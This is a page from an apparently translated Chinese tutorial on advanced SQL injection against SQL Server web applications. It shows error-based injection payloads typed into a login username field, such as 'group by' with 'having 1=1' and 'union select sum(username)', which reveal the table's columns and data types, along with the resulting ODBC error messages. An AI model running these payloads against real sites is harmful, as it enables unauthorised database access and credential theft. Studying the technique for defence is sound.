WEB开发网
开发学院网络安全安全技术 SQL Server应用程序的高级Sql注入 阅读

SQL Server应用程序的高级Sql注入

 2009-04-04 13:56:50 来源:WEB开发网   
核心提示: username: ' group by users.id having 1=1 --(结果产生这样的错误)Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQ

username: ' group by users.id having 1=1 --

(结果产生这样的错误)

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35

最后攻击者得到了下面的'username':

' group by users.id, users.username, users.password, users.privs having 1=1--

这句没有错误,相当于:

select * from users where username = ''

所以攻击者知道了查询只是关于'users'表的,并且顺序使用了列'id,username,password,rpivs'。

如果攻击者能确定各列的数据类型将会很有用,可以利用类型转换错误信息来达到这一点,看下面的例子:

Username: ' union select sum(username) from users--

这利用了SQL-Server试图在确定两行是否相同之前先执行'sum'子句的特性,计算文本域的和会返回这样的信息:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

它告诉我们'username'字段的类型是'varchar'。相反的,如果我们试图计算数值型的字段,但结果两行的列数并不匹配:

上一页  1 2 3 4 5 6 7 8 9 10  下一页

Tags:SQL Server 应用程序

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接